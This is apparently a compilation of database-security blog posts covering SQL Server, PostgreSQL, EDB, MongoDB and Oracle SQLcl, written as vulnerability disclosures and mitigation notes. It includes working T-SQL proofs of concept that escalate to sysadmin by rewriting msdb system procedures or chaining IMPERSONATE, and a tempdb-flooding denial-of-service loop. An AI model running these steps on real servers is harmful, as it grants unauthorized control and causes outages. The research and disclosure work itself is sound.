ORACLE MCP AI Security Vulnerability

The following diagram illustrates Oracle SQLcl Model Context Protocol (MCP) Server acts as a standardized bridge between Large Language Models (LLMs) and Oracle Databases. Built directly into Oracle SQLcl (the modern command-line interface for Oracle Database), it allows AI clients—such as Claude Desktop, VS Code extensions (like Cline), or custom Python-based agents—to interact securely and dynamically with the database using natural language.

As AI is becoming integral part of world wide IT systems, securing AI infrastructure is becoming a serious challenge. MCP is an attack surface that attackers can weaponize. Moreover, digitally signing software binaries shipped is a standard security process/practice that vendors follow to ensure the integrity of their delivered software. There is an Oracle article that discusses this topic: https://www.oracle.com/java/technologies/javase/digitalcerts-codesigning.html

In December 2025, I found out that Oracle SQLcl version : 25.3 [25.3.0.274.1210] at that time was not digitally signed !

.exe file shipped is not digitally signed ,as shown below:

In addition, using sigcheck sysinternal tool will verify this ,as shown below:

The Impact in a Windows Based Oracle Database Environments:

  • Malware Injection: An attacker can intercept the unsigned file during download or alter it on the user’s system. They can inject malicious code, and the file will still run because there is no signature check to fail.
  • Undetected Modification: Even if the original file was safe, any alteration—accidental or malicious—remains completely transparent to the operating system’s basic integrity checks.

Final Note: of course ORACLE took an immediate action , and sqlcl executable is shipped with verified digital signature.

PostgreSQL Privilege Escalation From CREATEROLE Permission To Superuser

Privilege Escalation/Elevation in PostgreSQL is possible if an account is granted CREATEROLE permission specifically for versions lower than 16. Having stated that, its important to note that version 15 lifecycle support will end in November 2027 and version 14 support will end in November 2026. So, if you are still on these versions its recommended to upgrade if possible. Refrence link: https://www.postgresql.org/support/versioning/

To simulate how privilege elevation takes place:

I will create an account that is created in PostgreSQL cluster and will call it “amg” with CREATEROLE permission:

postgres=# CREATE USER amg WITH PASSWORD ‘jw8s0F4_t58’ CREATEROLE;

CREATE ROLE

In PostgreSQL version 15 as account amg I can grant my own self the database built-in role pg_execute_server_program and it will succeed as shown below:

I blogged earlier about pg_execute_server_program and how it can be exploited for privilege escalation: https://databasesecurityninja.wordpress.com/2023/03/02/postgresql-privilege-escalation-to-superuser-through-pg_execute_server_program-role/

In PostgreSQL 18, you can’t do that anymore ,as shown below:

SQL Server Denial Of Service Attack Through TEMPDB Resource Exhaustion

Denial of service attack is one of the common cyber security attacks that will cause interruption, outage and potentical finanicial and operational damages. So, its very nasty attack that attackers use for damage intent.

The main problem here is that any sql server database login (user) can create temporary tables in TEMPDB database and no specific permission is required to be granted to this account in the first place. Also, there is no way (I am currently aware off) that restricts a database login from temporary tables creation.

Important Note: temporary table creation is not audited either by DATABASE_OBJECT_CHANGES or by SCHEMA_OBJECT_CHANGES policies.

Let me simulate the exploit, by first creating a dummy login account called “test”:

USE [master]

GO

CREATE LOGIN [test] WITH PASSWORD=N’test’, DEFAULT_DATABASE=[master], DEFAULT_LANGUAGE=[us_english], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF

GO

I will  then, use this account “test” to access the target SQL Server Instance using SQL Server Management Studio.

As “test” login I can execute the below query to check current TEMPDB size and utilization (no special permission is required to be granted):

use tempdb

select

        [FileSizeMB] =

                convert(numeric(10,2),round(a.size/128.,2)),

        [UsedSpaceMB] =

                convert(numeric(10,2),round(fileproperty( a.name,’SpaceUsed’)/128.,2)) ,

        [UnusedSpaceMB] =

                convert(numeric(10,2),round((a.size-fileproperty( a.name,’SpaceUsed’))/128.,2)) ,

        [DBFileName] = a.name

from

sysfiles a;

Next, I will create a temporary table as shown below and insert dummy data in a loop.  of course you can open multiple SQL Server sessions (new different tabs in sql server management studio) to create a temporary table in each session and insert data in it to expedite the process of flooding the tempdb database !

create table #test (Col1 varchar(MAX));

GO

insert into #test values (‘HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,HELLO,888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888’)

GO 800000000

The following Error will be thrown, and the SQL Server Instance will be in hanging state and new database authentication sessions will not succeed, so it’s a complete outage.

Error Message:

How To PreventDetect and Secure your environment from such an attack ?

  • From detection point of view, monitor your SQL Server TEMPDB Utiliztion and configure alerts when percentage of TEMPDB utilization is high (either using native SQL Server Alets mechanism OR through Microsoft System Center Operations Manager (SCOM)) . This is a “detection” method and will not prevent the issue from happening of course.

EnterpriseDB EPAS Version 18 – Monitored SENSIVITE TABLE WITH SELECT AUDIT POLICY VULNERABILITY

Environment Setup:

Operating System: Redhat 8

EnterpriseDB Advanced Server 18.4.0

PostgreSQL 18.4 (EnterpriseDB Advanced Server 18.4.0) on x86_64-pc-linux-gnu, compiled by gcc (GCC) 8.5.0 20210514 (Red Hat 8.5.0-28), 64-bit

The Objective:

Monitoring a sensitive table against SELECT query executed against it through database security auditing policy configured and defined against the table. Please note that I intentionally am not auditing DDL operations to clearly illustrate the security vulnerability and gap problem here.

Simulation Steps:

// I will create a dummy database and I will call  it db3

postgres=# create database db3;

CREATE DATABASE

//  I will create a table called “emp” under public schema:

CREATE TABLE emp

(empno NUMBER(4) NOT NULL,

 ename VARCHAR2(10),

 deptno NUMBER(2));

// I will then insert a dummy value:

insert into emp values (‘123′,’emad’,’11’);

// will define a security audit policy against the table emp as shown below:

ALTER TABLE emp SET (edb_audit_group = ‘high_security’);

// will set auditing to capture only SELECT statements against the table, and will reload the cluster

alter system set edb_audit_statement = ‘select@high_security’;

select pg_reload_conf();

select pg_reload_conf();

select pg_reload_conf();

// run the following query to check the auditing parameters setup:

select name,setting from pg_settings where name like ‘%audit%’;

// I will created a view and then executed a SELECT statement against the view in database “db3”:

CREATE  VIEW emp_v1 AS

SELECT empno,ename

FROM emp;

select * from emp_v1;

When inspecting the audit logs:

2026-XX-XX 20:05:44.733 +03,”enterprisedb”,”db3″,2415,”::1:52650″,6a32d3cb.96f,1,”SELECT”,2026-06-17 20:05:15 +03,3/4,0,AUDIT,00000,”statement: select * from emp_v1;”,,,,,,,,,”psql”,”client backend”,,0,”SELECT”,””,”select”

The database view “SQL creation statement” was NOT logged !

Only the subsequent SELECT statements against the database view emp_v1 base on the monitored table “emp”.

This is a very clear security vulnerability in EDB auditing security feature that requires a release of a patch and CVE assigned. The monitored sensitive table against SELECT statements should be fully consistently monitored ,and recorded in audit logs. Security audit logs are being integrated with SIEM solutions for real-time monitoring ,and for forensic investigation. With the existence of this vulnerability sensitive data can be exfiltrated without any alert/detection !

EDB evaluated this as a “security enhancement” request feature (not a vulnerability) ,and will work on it in future releases.

MongoDB Audit Log Security Deficiency: Missing Failed Monitored Commands Executions in Audit logs

Audit log parameter setup in the configuration file:

auditLog:

   destination: file

   format: JSON

   path: /data/db/auditLog.json

   filter: ‘{ atype: { $in: [ “createUser”, “dropUser” ] } }’

OR

db.adminCommand({

  setAuditConfig: 1,

  auditAuthorizationSuccess: true,

  filter: {

    $or: [

      {

        atype: “authCheck”,

        “param.ns”: “test.test”,

        “param.command”: {

          $in: [“find”, “listCollections”]

        }

      },

      {

        atype: “createCollection”

      },

      {

        atype: “dropCollection”

      },

      {

        atype: “renameCollection”

      },

      {

        atype: “createUser”

      }

    ]

  }

})

When you initially create a database account…..this action will be logged in the database audit logs as configured, however when you try to re-attempt to create the account again….a normal error message will be displayed as shown below:

db.createUser( {user: “test111_3”,pwd: “emad123”,roles: [ { role: “readWrite”, db: “admin” } ]})

When examining the audit logs the two entries are identical in results, which shouldn’t be the case….I think the flag “result” when the command executed failed should have a different value to distinguish successfully executed commands from failed executed commands:

{ “atype” : “createUser”, “ts” : { “$date” : “202X-XX-XXT13:04:59.535+03:00” }, “uuid” : { “$binary” : “A1DPqlPsT+u7xH2St9yiug==”, “$type” : “04” }, “local” : { “ip” : “127.0.0.1”, “port” : 27017 }, “remote” : { “ip” : “127.0.0.1”, “port” : 65266 }, “users” : [ { “user” : “mongo”, “db” : “admin” } ], “roles” : [ { “role” : “root”, “db” : “admin” } ], “param” : { “user” : “test111_3”, “db” : “admin”, “roles” : [ { “role” : “readWrite”, “db” : “admin” } ] }, “result” : 0 }

{ “atype” : “createUser”, “ts” : { “$date” : “202X-XX-XXT13:06:10.918+03:00” }, “uuid” : { “$binary” : “A1DPqlPsT+u7xH2St9yiug==”, “$type” : “04” }, “local” : { “ip” : “127.0.0.1”, “port” : 27017 }, “remote” : { “ip” : “127.0.0.1”, “port” : 65266 }, “users” : [ { “user” : “mongo”, “db” : “admin” } ], “roles” : [ { “role” : “root”, “db” : “admin” } ], “param” : { “user” : “test111_3”, “db” : “admin”, “roles” : [ { “role” : “readWrite”, “db” : “admin” } ] }, “result” : 0 }

Also, any malicious user attempting to create accounts should be audited in the audit logs to simulate….I will access mongodb with a user called “bryan” and bryan was created to have read,write permissions only on testdb database as shown below in the account creation definition:

db.createUser(

   {

     user: “bryan2”,

     pwd: passwordPrompt(),   // Or  “<cleartext password>”

     roles: [ { role: “readWrite”, db: “testdb” } ]

   }

)

Now, I will authenticate using bryan account:

mongosh -u bryan -p bryan –authenticationDatabase admin

When the account bryan tries to create an account…..as expected error is thrown.

Checking the audit logs….nothing is recorded in the audit logs that a failed attempt for account creation took place !!

This is a very important event to capture as it potentially indicate that the account might be compromised by an attacker and the attacker is weaponizing the account for maclious activities…failing to capture this, is a serious security issue. By the way most big releational database systems such as Oracle, Microsoft MSSQL will capture failed execution monitored events in their audit logs.

Also, its worth mentioning that this failure will only be logged in the “operational” logs:

{“t”:{“$date”:”2026-XX-XXT13:03:40.053+03:00″},”s”:”I”,  “c”:”WTCHKPT”,  “id”:22430,   “ctx”:”Checkpointer”,”msg”:”WiredTiger message”,”attr”:{“message”:{“ts_sec”:1781258620,”ts_usec”:49221,”thread”:”25640:140713742009888″,”session_name”:”WT_SESSION.checkpoint”,”category”:”WT_VERB_CHECKPOINT_PROGRESS”,”log_id”:1000000,”category_id”:7,”verbose_level”:”INFO”,”verbose_level_id”:0,”msg”:”Checkpoint ran for 0 seconds, wrote 7 pages (0 MB), walked 8 pages and checkpointed 4 files”}}}

{“t”:{“$date”:”2026-06-12T13:03:58.902+03:00″},”s”:”I”,  “c”:”ACCESS”,   “id”:20436,   “ctx”:”conn27″,”msg”:”Checking authorization failed”,”attr”:{“error”:{“code”:13,”codeName”:“Unauthorized”,”errmsg”:”not authorized on admin to execute command { createUser: \”roro2\”, pwd: \”xxx\”, roles: [ \”read\” ], lsid: { id: UUID(\”f68d8035-1aa0-46f8-a3c9-452da3941de2\”) }, $db: \”admin\” }”}}}

MongoDB Security: Collection-Level Access Control

With MongoDB built-in roles you can create database account and grant it the built-in roles, the built-in roles scope is “database-level”….but what if we would require to grant permissions on collection level ?

In this case you need to create a custom role….the following is a detailed step:

First, I will create a custom role and I will call it “DB2-COLLECTION2-FIND” that has permission specifically in database “emaddb” and specifically against “col2” collection with permission to execute only “find” command (which will only retrieve data similar to “SELECT” permission in RDBMS world).

// I will create the custom database role

> use admin

> db.createRole(

   {

     role: “EMADDB-COLLECTION2-FIND”,

     privileges: [{ resource: { db: “emaddb”, collection: “col2”}, actions: [ “find” ] } ],

     roles: []

   },

   { w: “majority” , wtimeout: 5000 }

)

// I will create database account and assign it the new custom role

> use admin

> db.createUser({user:’dummy’,pwd:’dummy_123′,roles:[“EMADDB-COLLECTION2-FIND”]})

// To list custom database roles defined in MongoDB:

> use admin

> db.system.roles.find()

{ “_id” : “admin.EMADDB-COLLECTION2-FIND”, “role” : “EMADDB-COLLECTION2-FIND”, “db” : “admin”, “privileges” : [ { “resource” : { “db” : “emaddb”, “collection” : “col2” }, “actions” : [ “find” ] } ], “roles” : [ ] }

To test, let us connect to MongoDB using account “dummy”:

mongo –username dummy –password dummy_123 -port 27017 –authenticationDatabase=admin

> db.runCommand({connectionStatus : 1})

{

        “authInfo” : {

                “authenticatedUsers” : [

                        {

                                “user” : “dummy”,

                                “db” : “admin”

                        }

                ],

                “authenticatedUserRoles” : [

                        {

                                “role” : “EMADDB-COLLECTION2-FIND”,

                                “db” : “admin”

                        }

                ]

        },

        “ok” : 1

}

> use emaddb

switched to db emaddb

> show collections

col2

> db.col2.find()

{ “_id” : ObjectId(“6140da45b6f0fa3cc4b99961”), “first_name” : “Emad”, “last_name” : “Al-Mousa” }

SQL Server Security:  Virtual SQL Firewall

Important Disclaimer: The objective of this post is pure “experimentation,” and I don’t endorse or recommend using SQL Server Query Hints as a “security” feature or as a protection measure.

It’s a security mechanism designed to filter, and block unauthorized or malicious SQL query being executed against the database system before it reaches the database kernel itself. It acts as a specialized gatekeeper that ensures only “known good” queries are allowed to run. In a sense, you can compare it with WAF (web application firewall) in terms of protection mechanism.

SQL Firewall will provide protection against the following threats and attacks:

SQL Injection

Privilege Escalation

Data Exfiltration

In SQL Server 2022 Query Store has been improved with “Query Hints” feature, its an operational feature and adds great value for performance enhancement , and at the same time can protect your resources from “rogue” queries that can exhaust your resources you can check my article here:

Let us simulate first the database setup:

// I will create a database and call it testdb

create database testdb;

create table dbo.HR (fname varchar(max),lname varchar (max),dept_name varchar (max), salary NUMERIC, SSN varchar (max));

// I will then insert dummy records

insert into dbo.HR values (‘jack’, ‘nicholson’, ‘holloywood_dept’, 3000000,’SN-349572-91A’);

insert into dbo.HR values (‘grace’, ‘jones’, ‘account_dept’, 142000,’SN-340072-61V’);

insert into dbo.HR values (‘mike’, ‘anderson’, ‘hr_dept’, 230000,’SN-667572-4CF’);

Its expected that an application will have a pre-known set of SQL queries that will run against the database system. So, the idea here is that any unknown query should be “flagged” as anomaly and terminated for data protection.

In SQL Server 2022 and beyond “Query Store” feature is enabled by default and for the sake of simulation I will populate it with the following query:

use [testdb]

select fname,lname,dept_name  from dbo.HR ;

The above query is considered a legtimate built-in query by the application. And its recorded in the query store as shown below:

use[testdb]

GO

select * from sys. query_store_query_text;

// To find the Query ID:

SELECT q.query_id, qt.query_sql_text

FROM sys.query_store_query_text qt

INNER JOIN sys.query_store_query q ON

    qt.query_text_id = q.query_text_id

WHERE query_sql_text like N’%HR%’;

GO

Now, let me list “some”of the queries and “execute” them  that will expose two sensitive columns “salary” and “SSN” which normally shouldn’t be exposed:

use [testdb]

select * from dbo.HR ;

Go

use [testdb]

select fname,lname,dept_name,salary,SSN from dbo.HR ;

GO

use [testdb]

select fname,lname,salary,SSN from dbo.HR ;

GO

Now, all queries are now recroded in the Query Store:

Next, I will blacklist these three queries by adding the hint for  aborting the SQL execution based on the query id for each query:

EXEC sys.sp_query_store_set_hints

     @query_id = 72,

     @query_hints = N’OPTION (USE HINT (”ABORT_QUERY_EXECUTION”))’;

EXEC sys.sp_query_store_set_hints

     @query_id = 73,

     @query_hints = N’OPTION (USE HINT (”ABORT_QUERY_EXECUTION”))’;

EXEC sys.sp_query_store_set_hints

     @query_id = 74,

     @query_hints = N’OPTION (USE HINT (”ABORT_QUERY_EXECUTION”))’;

To verify this, I will connect to testdb as an account called “donlad” that has read,select permission on the table:

As expected the above two queries were not executed successfully, the error message was:

Msg 8778, Level 16, State 1, Line 2

Query execution has been aborted because the ABORT_QUERY_EXECUTION hint was specified.

However, donald will be able to execute the below query:

So, basically the idea is to generate all kind of possible SQL queries against the table containing sensitive columns, and select the specific queries (blacklist them) from getting executed successfully……not bad idea and approach.

Here are some of the problems with this “experimentation” approach:

You will need to figure out all possible SQL queries against the table (application and non-application oriented), which you potentially can miss.

The Query Store blocking can be easily bypassed with extra strings such as adding comments or hints on the blacklisted query…to illustrate:

use [testdb]

select /**************HELLO*******/ * from dbo.HR ;

GO

Microsoft SQL Server Privilege Elevation Through ##MS_DatabaseManager## Role [CVE-2025-24999]

Important Disclaimer: All of the information presented below was shared with Microsoft through a responsible disclosure process.

Privilege elevation against database systems represents a critical security threat because the database system stores your organization’s “jewels”…your sensitive data.  Once an attacker elevates their account permissions this will enable them to view confidential data, implant malicious code, or cause denial of a service. Unfortunately, SQL Server database technology is prone to privilege elevation attacks, I am documenting all possible attack exploit techniques in this unified article blog reference (and will continue to do so in the future): https://medium.com/@emad.mousa.83/microsoft-sql-server-privilege-escalation-elevation-exploits-proof-of-concpet-80fb1e45699b

Microsoft has fixed a critical privilege elevation vulnerability in August 2025 with score of 8.8 of 10, details of the vulnerability: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24999

When I submitted my research to Microsoft,  the vulnerability not only was applicable to SQL Server 2022, it was also applicable SQL Server 2025 CTP 2.1 at that time.

Let us proceed with the PoC:

In this simulation please use SQL Server Management Studio client tool to run the SQL queries. Also, access SQL Server Management Studio with an account granted SYSADMIN role as a DBA.

I will create a database login account and will name it “acc2” with the password “acc2” and grant this account the new server role ##MS_DatabaseManager##:

USE [master]

GO

CREATE LOGIN [acc2] WITH PASSWORD=N’acc2′, DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF

GO

ALTER SERVER ROLE [##MS_DatabaseManager##] ADD MEMBER [acc2]

GO

After that, open a new session in SQL Server Management Studio and access using the account “acc2” as shown below:

When accessing with the database login “acc2” you can perform create,aleter,drop any database in the SQL Server Instance as exepcted.

To Verify This, execute the following sql query as account “acc2”:

select SUSER_NAME() as Myname,* from sys.fn_my_permissions(NULL,NULL);

GO

Now, the “exploit” part of the security vulnerability to escalate to SYSADMIN.

Right click on the MSDB database and choose “New Query” as shown below:

Then run the following SQL code that will modify a system stored procedue sp_syspolicy_purge_history  code to grant acc2 account SYSADMIN role:

ALTER  PROCEDURE [dbo].[sp_syspolicy_purge_history]

AS

BEGIN

ALTER SERVER ROLE [sysadmin] ADD MEMBER [acc2]

END

Which consequently will elevate my permission to sysadmin role when the standard and default job syspolicy_purge_history gets executed as scheduled. The job syspolicy_purge_history exists in ALL instillations of SQL Server database engines by default.

For the sake of simulation in your SQL Server Management Studio with account granted SYSADMIN role (your DBA ccount) run the job manually and after that refresh your database connection of acc2 account….you will see that you are now granted SYSADMIN ROLE !!

After applying security update released in August 2025  KB5063756, Microsoft fix was to use certificate based account (with low-permission) and change the job T-SQL execution code as follows:

EXECUTE AS LOGIN = ‘##MS_PolicyTsqlExecutionLogin##’ WITH NO REVERT;

        EXEC msdb.dbo.sp_syspolicy_purge_history

So, even if the procedure code is changed….it will run wit the power of the low-permission certificate account ##MS_PolicyTsqlExecutionLogin##

Original job step code before patching:

After patching:

Unfortunately, even though Microsoft has fixed the previous vulnerablity and blocked the exploit, I found other ways where the server level role ##MS_DatabaseManager## can still be abused to elevate to SYSADMIN role.

Microsoft has updated the documentation after I shared my further findings and research with them: https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-ver17

Let me proceed with the viable exploit proof of concept… by the way applicable against both SQL Server 2022 and SQL Server 2025 versions.

I will create a SQL Server account (SQL Authentication account) with the name dbmanager and this login will be granted the new 2022 built-in role ##MS_DatabaseManager## :

USE [master]

GO

CREATE LOGIN [dbmanager] WITH PASSWORD=N’dbmanager’, DEFAULT_DATABASE=[master], DEFAULT_LANGUAGE=[us_english], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF

GO

ALTER SERVER ROLE [##MS_DatabaseManager##] ADD MEMBER [dbmanager]

GO

After that, I will connect to the SQL Server instance using dbmanager login and will add the account itself  under MSDB database as SQL local User and will grant it the role  [SQLAgentOperatorRole] as shown below:

USE [msdb]

GO

CREATE USER [dbmanager] FOR LOGIN [dbmanager]

GO

USE [msdb]

GO

ALTER ROLE [SQLAgentOperatorRole] ADD MEMBER [dbmanager]

GO

After that, I will alter the procedure code of [sp_delete_database_backuphistory] & [sp_delete_backuphistory], the built in backup history database that gets executed whenver a database is dropped with the option of deleting backup history OR if clean-up history job is configured:

USE [msdb]

GO

ALTER   PROCEDURE [dbo].[sp_delete_database_backuphistory]

  @database_name sysname

AS

ALTER SERVER ROLE [sysadmin] ADD MEMBER [dbmanager]

GO

USE [msdb]

GO

ALTER   PROCEDURE [dbo].[sp_delete_backuphistory]

  @database_name sysname

AS

ALTER SERVER ROLE [sysadmin] ADD MEMBER [dbmanager]

GO

Then, I will create a dummy database:

create database dummy_55;

At this stage you have two scenarios to elevat to SYSADMIN role:

Ask the DBA to connect to the database instance and ask him/her to drop the database in our case (dummy_55) of course the DBA will access with account granted SYSADMIN role and will perform the following through the GUI:

Which corresponds the following t-sql code:

EXEC msdb.dbo.sp_delete_database_backuphistory @database_name = N’dummy_55′

GO

USE [master]

GO

DROP DATABASE [dummy_55]

GO

This will cause privilege elevation to dbmanager account because the procedure code was modified.

In Most SQL Server database infrastructure environments you would expect a maintenance plan created to clean-up old backup history , and retain certain period of backup history in the database system MSDB as part of compliance and restore retention as shown below. Once this job is executed the account dbmanager will successfully be elevate to SYSADMIN role.

I will be able to run the job as dbmanager account because the accountn is granted SQLAgentOperatorRole under MSDB database.

1. Zero Trust & Identity-Centric Security: The “Never Trust, Always Verify” model is the most effective deterrent. Examples: Just-in-Time (JIT) Privileges, MFA(Multi-factor authentication).

2. Least Privilege and Role-Based Access Control (RBAC).

3. Database Hardening , and patching.

4. Security Monitoring:  either through native database security auditing or through third party DAM solutions.

5. Network Segmentation: Database hosting sensitive data should be isolated in a private subnet with no direct internet ingress.

  • You don’t necessarily need the server level role ##MS_DatabaseManager## to perform the presented exploits. In fact, ALTER ANY DATBASE permission is enough.
  • This security problem/issue still exists in both SQL Server 2022 and SQL Server 2025.
  • Ultimately, I am a firm believer that independent security researchers provide indispensable value to vendors, significantly elevating the security posture of their technology. While I had hoped Microsoft would provide technical fixes for the additional vulnerabilities I identified, they ultimately elected to update their documentation instead. I am publishing this detailed analysis to raise awareness among DBAs, IT professionals, and the broader tech community

SQL Server securityadmin server role is essentially a “SYSADMIN” role vs . ##MS_LoginManager##

Securityadmin server role is a very powerfull permission for account management. Through this server role you can create logins and grant permissions to the logins.

Reference: https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-ver16

To illustrate, let me create the primary login account “faris” and grant the login securityadmin server role:

USE [master]

GO

CREATE LOGIN [faris] WITH PASSWORD=N’faris’, DEFAULT_DATABASE=[master], DEFAULT_LANGUAGE=[us_english], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF

GO

ALTER LOGIN [faris] DISABLE

GO

ALTER SERVER ROLE [securityadmin] ADD MEMBER [faris]

GO

Account “faris” can’t grant him self directly any of the server level permissions such as sysadmin for example, after connecting using the account I will issue the following command:

ALTER SERVER ROLE [sysadmin] ADD MEMBER [faris]

GO

The following error will be thrown as expected:

And, you can’t grant yourself any secureable as shown below:

use [master]

GO

GRANT IMPERSONATE ANY LOGIN TO [faris]

GO

Error thrown:

Now as login “faris” I will create a new login in the SQL Server Instance and will call it “faris2”:

USE [master]

GO

CREATE LOGIN [faris2] WITH PASSWORD=N’faris2′, DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF

GO

If you attempt to grant faris2 account “sysadmin” role, it will not succeed:

ALTER SERVER ROLE [sysadmin] ADD MEMBER [faris2]

GO

The following error will be thrown:

However, I can grant faris2 login impersonation permission:

GRANT IMPERSONATE ANY LOGIN TO [faris2]

GO

After that I will access using this newly created account “faris2” and will execute the following to elevate the permission of my original account “faris” to sysadmin role:

execute as login=’sa’;

ALTER SERVER ROLE [sysadmin] ADD MEMBER [faris]

GO

As shown below original login “faris” is now elevated to sysadmin role:

Also, you can grant “faris2” database login control server permission, and this permission can lead to sysadmin role privilege elevation….you can reference my blog post that discusses this: https://databasesecurityninja.wordpress.com/2025/02/07/privilege-escalation-from-control-server-to-sysadmin-role/

use [master]

GO

GRANT CONTROL SERVER TO [faris2]

GO

You can create logins and you can reset the password of the logins as shown below:

USE [master]

GO

CREATE LOGIN [faris2] WITH PASSWORD=N’faris2′, DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF

GO

USE [master]

GO

ALTER LOGIN [faris2] WITH PASSWORD=N’faris3′

GO

And you can’t perform any “grant” operations anymore as shown:

use [master]

GO

GRANT IMPERSONATE ANY LOGIN TO [faris2]

GO

The following error will be thrown:

EnterpriseDB Postgres EPAS Version 18 Security Enhancements

In EDB Postgres Advanced Server 18.1.0 release notes ,multiple enhancements were introduced: https://www.enterprisedb.com/docs/epas/latest/epas_rel_notes/epas18_1_rel_notes/

Three of these enhancements were introduced as part of my research shared with EDB, I will go over them one by one.

Enhancement to Audit SQL Code Executed within Procedures and Functions:

I have blogged about this security limitation here: https://databasesecurityninja.wordpress.com/2025/09/27/enterprisedb-epas-vulnerability-account-creation-not-audited/

In version 18,  a new audit parameter “edb_audit_nested_statements” was introduced to cover this limitation.

I will set the audit log parameters including the newly introduced parameter:

postgres=# alter system set edb_audit=’json’;

postgres=# alter system set edb_audit_connect=’failed’;

postgres=# alter system set edb_audit_destination=file;

postgres=# alter system set edb_audit_directory=’/var/lib/edb/as18/data/audit’;

postgres=# alter system set edb_audit_nested_statements=on;

postgres=# alter system set edb_audit_statement=’create’;

postgres=# select pg_reload_conf();

postgres=# select pg_reload_conf();

postgres=# select pg_reload_conf();

I will then, create function and embed a code for account creation:

create or replace function fn_acc(dummy int)

returns int

language plpgsql SECURITY DEFINER

as

$$

declare

dummy integer;

begin

create user superman_2025 with password ‘X34290upa’ superuser;

return dummy;

end;

$$;

select fn_acc(6);

Checking the audit logs, you can see that both the creation of the function and creation of the account (SQL code embeded in the function) has been captured successfully:

Copy command can now be audited:

The limitation was reported by me, and refrenced in this blog post: https://databasesecurityninja.wordpress.com/2025/06/15/enterprisedb-vulnerability-copty-to-command-not-caught-in-audit-logs/

The edb_audit_statement parameter has introduced “copy” command to be monitored:

The Ability To Montior/Audit System Tables Storing Sensitve Information such as password hashes:

In previous versions you can’t montior system table such as pg_authid that is storing password hashes:

postgres=# ALTER TABLE pg_authid SET (edb_audit_group = ‘high_security’);

ERROR:  permission denied: “pg_authid” is a system catalog

However, in version 18.1:

postgres=# ALTER TABLE pg_authid SET (edb_audit_group = ‘high_security’);

ALTER TABLE

alter system set edb_audit_statement = ‘create,select@high_security’;

select pg_reload_conf();

select pg_reload_conf();

select pg_reload_conf();

postgres=# select * from pg_authid;

Checking the audit logs…..SELECT execution was logged successfully: